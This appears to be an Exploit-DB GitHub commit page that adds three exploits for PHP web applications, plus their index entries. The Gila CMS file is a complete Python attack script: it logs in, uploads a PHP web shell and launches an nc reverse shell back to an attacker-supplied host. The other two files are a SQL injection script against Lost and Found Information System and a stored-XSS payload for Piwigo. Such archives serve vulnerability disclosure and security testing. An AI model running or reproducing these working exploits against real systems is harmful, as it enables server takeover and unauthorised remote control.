Skip to content

Commit e2ea5c0

Browse files
author
Exploit-DB
committed
DB: 2023-07-07
4 changes to exploits/shellcodes/ghdb Gila CMS 1.10.9 - Remote Code Execution (RCE) (Authenticated) Lost and Found Information System v1.0 - SQL Injection Piwigo v13.7.0 - Stored Cross-Site Scripting (XSS) (Authenticated)
1 parent 9461677 commit e2ea5c0

File tree

4 files changed

+142
-0
lines changed

4 files changed

+142
-0
lines changed

‎exploits/php/webapps/51569.py

Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
# Exploit Title: Gila CMS 1.10.9 - Remote Code Execution (RCE) (Authenticated)
2+
# Date: 05-07-2023
3+
# Exploit Author: Omer Shaik (unknown_exploit)
4+
# Vendor Homepage: https://gilacms.com/
5+
# Software Link: https://github.com/GilaCMS/gila/
6+
# Version: Gila 1.10.9
7+
# Tested on: Linux
8+
9+
import requests
10+
from termcolor import colored
11+
from urllib.parse import urlparse
12+
13+
# Print ASCII art
14+
ascii_art = """
15+
██████╗ ██╗██╗ █████╗ ██████╗███╗ ███╗███████╗ ██████╗ ██████╗███████╗
16+
██╔════╝ ██║██║ ██╔══██╗ ██╔════╝████╗ ████║██╔════╝ ██╔══██╗██╔════╝██╔════╝
17+
██║ ███╗██║██║ ███████║ ██║ ██╔████╔██║███████╗ ██████╔╝██║ █████╗
18+
██║ ██║██║██║ ██╔══██║ ██║ ██║╚██╔╝██║╚════██║ ██╔══██╗██║ ██╔══╝
19+
╚██████╔╝██║███████╗██║ ██║ ╚██████╗██║ ╚═╝ ██║███████║ ██║ ██║╚██████╗███████╗
20+
╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝
21+
22+
by Unknown_Exploit
23+
"""
24+
25+
print(colored(ascii_art, "green"))
26+
27+
# Prompt user for target URL
28+
target_url = input("Enter the target login URL (e.g., http://example.com/admin/): ")
29+
30+
# Extract domain from target URL
31+
parsed_url = urlparse(target_url)
32+
domain = parsed_url.netloc
33+
target_url_2 = f"http://{domain}/"
34+
35+
# Prompt user for login credentials
36+
username = input("Enter the email: ")
37+
password = input("Enter the password: ")
38+
39+
# Create a session and perform login
40+
session = requests.Session()
41+
login_payload = {
42+
'action': 'login',
43+
'username': username,
44+
'password': password
45+
}
46+
response = session.post(target_url, data=login_payload)
47+
cookie = response.cookies.get_dict()
48+
var1 = cookie['PHPSESSID']
49+
var2 = cookie['GSESSIONID']
50+
51+
# Prompt user for local IP and port
52+
lhost = input("Enter the local IP (LHOST): ")
53+
lport = input("Enter the local port (LPORT): ")
54+
55+
# Construct the payload
56+
payload = f"rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2>%261|nc+{lhost}+{lport}+>/tmp/f"
57+
payload_url = f"{target_url_2}tmp/shell.php7?cmd={payload}"
58+
59+
# Perform file upload using POST request
60+
upload_url = f"{target_url_2}fm/upload"
61+
upload_headers = {
62+
"Host": domain,
63+
"Content-Length": "424",
64+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36",
65+
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarynKy5BIIJQcZC80i2",
66+
"Accept": "*/*",
67+
"Origin": target_url_2,
68+
"Referer": f"{target_url_2}admin/fm?f=tmp/.htaccess",
69+
"Accept-Encoding": "gzip, deflate",
70+
"Accept-Language": "en-US,en;q=0.9",
71+
"Cookie": f"PHPSESSID={var1}; GSESSIONID={var2}",
72+
"Connection": "close"
73+
}
74+
upload_data = f'''
75+
------WebKitFormBoundarynKy5BIIJQcZC80i2
76+
Content-Disposition: form-data; name="uploadfiles"; filename="shell.php7"
77+
Content-Type: application/x-php
78+
79+
<?php system($_GET["cmd"]);?>
80+
81+
------WebKitFormBoundarynKy5BIIJQcZC80i2
82+
Content-Disposition: form-data; name="path"
83+
84+
tmp
85+
------WebKitFormBoundarynKy5BIIJQcZC80i2
86+
Content-Disposition: form-data; name="g_response"
87+
88+
content
89+
------WebKitFormBoundarynKy5BIIJQcZC80i2--
90+
'''
91+
92+
upload_response = session.post(upload_url, headers=upload_headers, data=upload_data)
93+
94+
if upload_response.status_code == 200:
95+
print("File uploaded successfully.")
96+
# Execute payload
97+
response = session.get(payload_url)
98+
print("Payload executed successfully.")
99+
else:
100+
print("Error uploading the file:", upload_response.text)

‎exploits/php/webapps/51570.py

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
# Exploit Title: Lost and Found Information System v1.0 - SQL Injection
2+
# Date: 2023-06-30
3+
# country: Iran
4+
# Exploit Author: Amirhossein Bahramizadeh
5+
# Category : webapps
6+
# Dork : /php-lfis/admin/?page=system_info/contact_information
7+
# Tested on: Windows/Linux
8+
# CVE : CVE-2023-33592
9+
import requests
10+
11+
# URL of the vulnerable component
12+
url = "http://example.com/php-lfis/admin/?page=system_info/contact_information"
13+
14+
# Injecting a SQL query to exploit the vulnerability
15+
payload = "' OR 1=1 -- "
16+
17+
# Send the request with the injected payload
18+
response = requests.get(url + payload)
19+
20+
# Check if the SQL injection was successful
21+
if "admin" in response.text:
22+
print("SQL injection successful!")
23+
else:
24+
print("SQL injection failed.")

‎exploits/php/webapps/51572.txt

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
#Exploit Title: Piwigo v13.7.0 - Stored Cross-Site Scripting (XSS) (Authenticated)
2+
#Date: 25 June 2023
3+
#Exploit Author: Okan Kurtulus
4+
#Vendor Homepage: https://piwigo.org
5+
#Version: 13.7.0
6+
#Tested on: Ubuntu 22.04
7+
#CVE : N/A
8+
9+
# Proof of Concept:
10+
1– Install the system through the website and log in with any user authorized to upload photos.
11+
2– Click "Add" under "Photos" from the left menu. The photo you want to upload is selected and uploaded.
12+
3– Click on the uploaded photo and the photo editing screen opens. XSS payload is entered in the "Description" section on this screen. After saving the file, go to the homepage and open the page with the photo. The XSS payload appears to be triggered.
13+
14+
#Payload
15+
<sCriPt>alert(1);</sCriPt>

‎files_exploits.csv

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19046,6 +19046,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
1904619046
42442,exploits/php/webapps/42442.txt,"GIF Collection 2.0 - SQL Injection",2017-08-10,"Ihsan Sencan",webapps,php,,2017-08-10,2017-08-10,0,,,,,,
1904719047
44718,exploits/php/webapps/44718.txt,"Gigs 2.0 - 'username' SQL Injection",2018-05-23,AkkuS,webapps,php,,2018-05-23,2018-05-23,0,,,,,,
1904819048
47185,exploits/php/webapps/47185.txt,"GigToDo 1.3 - Cross-Site Scripting",2019-07-29,m0ze,webapps,php,80,2019-07-29,2019-07-29,0,,"Cross-Site Scripting (XSS)",,,,
19049+
51569,exploits/php/webapps/51569.py,"Gila CMS 1.10.9 - Remote Code Execution (RCE) (Authenticated)",2023-07-06,"Omer Shaik",webapps,php,,2023-07-06,2023-07-06,0,,,,,,
1904919050
48590,exploits/php/webapps/48590.py,"Gila CMS 1.11.8 - 'query' SQL Injection",2020-06-16,BillyV4,webapps,php,,2020-06-16,2020-06-16,0,CVE-2020-5515,,,,,
1905019051
46557,exploits/php/webapps/46557.txt,"Gila CMS 1.9.1 - Cross-Site Scripting",2019-03-19,"Ahmet Ümit BAYRAM",webapps,php,80,2019-03-19,2019-03-19,0,CVE-2019-9647,"Cross-Site Scripting (XSS)",,,http://www.exploit-db.com1.9.1.zip,
1905119052
49412,exploits/php/webapps/49412.py,"Gila CMS 2.0.0 - Remote Code Execution (Unauthenticated)",2021-01-12,Enesdex,webapps,php,,2021-01-12,2021-01-12,1,,,,,,
@@ -22573,6 +22574,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
2257322574
5121,exploits/php/webapps/5121.txt,"LookStrike Lan Manager 0.9 - Local/Remote File Inclusion",2008-02-14,MhZ91,webapps,php,,2008-02-13,2016-11-14,1,OSVDB-41835;CVE-2008-0803;OSVDB-41834;OSVDB-41833;OSVDB-41832;OSVDB-41831;OSVDB-41830;OSVDB-41829;OSVDB-41828;OSVDB-41827;OSVDB-41826;OSVDB-41825;OSVDB-41824;OSVDB-41823;OSVDB-41822;OSVDB-41821;OSVDB-41820;OSVDB-41819;OSVDB-41818;OSVDB-41817;OSVDB-41816;OSVDB-41815;OSVDB-41814;OSVDB-41813;OSVDB-41812;OSVDB-41811;OSVDB-41810;OSVDB-41809;OSVDB-41808,,,,http://www.exploit-db.comlookstrike-v0.9.zip,
2257422575
26688,exploits/php/webapps/26688.php,"Lore 1.5.4/1.5.6 - 'article.php' SQL Injection",2005-12-01,r0t,webapps,php,,2005-12-01,2013-07-08,1,CVE-2005-3988;OSVDB-21328,,,,,https://www.securityfocus.com/bid/15665/info
2257522576
7896,exploits/php/webapps/7896.php,"Lore 1.5.6 - 'article.php' Blind SQL Injection",2009-01-28,OzX,webapps,php,,2009-01-27,,1,,,,,,
22577+
51570,exploits/php/webapps/51570.py,"Lost and Found Information System v1.0 - SQL Injection",2023-07-06,"Amirhossein Bahramizadeh",webapps,php,,2023-07-06,2023-07-06,0,CVE-2023-33592,,,,,
2257622578
48934,exploits/php/webapps/48934.txt,"Lot Reservation Management System 1.0 - Authentication Bypass",2020-10-23,"Ankita Pal",webapps,php,,2020-10-23,2020-11-05,1,,,,,,
2257722579
48935,exploits/php/webapps/48935.txt,"Lot Reservation Management System 1.0 - Cross-Site Scripting (Stored)",2020-10-23,"Ankita Pal",webapps,php,,2020-10-23,2020-10-23,0,,,,,,
2257822580
4710,exploits/php/webapps/4710.txt,"Lotfian.com DATABASE DRIVEN TRAVEL SITE - SQL Injection",2007-12-10,"Aria-Security Team",webapps,php,,2007-12-09,,1,OSVDB-52880;OSVDB-52879;OSVDB-52877,,,,,
@@ -27604,6 +27606,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
2760427606
42098,exploits/php/webapps/42098.txt,"Piwigo Plugin Facetag 0.0.3 - Cross-Site Scripting",2017-05-31,"Touhid M.Shaikh",webapps,php,,2017-05-31,2017-05-31,0,,,,,http://www.exploit-db.compiwigo-facetag_0.0.3.zip,
2760527607
42094,exploits/php/webapps/42094.txt,"Piwigo Plugin Facetag 0.0.3 - SQL Injection",2017-05-30,"Touhid M.Shaikh",webapps,php,,2017-05-31,2017-05-31,0,,,,,http://www.exploit-db.compiwigo-facetag_0.0.3.zip,
2760627608
42443,exploits/php/webapps/42443.txt,"Piwigo Plugin User Tag 0.9.0 - Cross-Site Scripting",2017-08-10,"Touhid M.Shaikh",webapps,php,,2017-08-10,2017-08-10,0,,,,,http://www.exploit-db.comuser_tags-0.9.0.zip,
27609+
51572,exploits/php/webapps/51572.txt,"Piwigo v13.7.0 - Stored Cross-Site Scripting (XSS) (Authenticated)",2023-07-06,"Okan Kurtulus",webapps,php,,2023-07-06,2023-07-06,0,,,,,,
2760727610
14973,exploits/php/webapps/14973.txt,"piwigo-2.1.2 - Multiple Vulnerabilities",2010-09-11,Sweet,webapps,php,,2010-09-11,2010-09-12,1,OSVDB-67968,,,,http://www.exploit-db.compiwigo-2.1.2.zip,
2760827611
33814,exploits/php/webapps/33814.txt,"Piwik 0.5.5 - 'form_url' Cross-Site Scripting",2010-03-31,garwga,webapps,php,,2010-03-31,2014-06-19,1,CVE-2010-1453;OSVDB-64359,,,,,https://www.securityfocus.com/bid/39144/info
2760927612
9962,exploits/php/webapps/9962.txt,"Piwik 1357 2009-08-02 - Arbitrary File Upload / Code Execution",2009-10-19,boecke,webapps,php,,2009-10-18,,1,,,,,,

0 commit comments

Comments
 (0)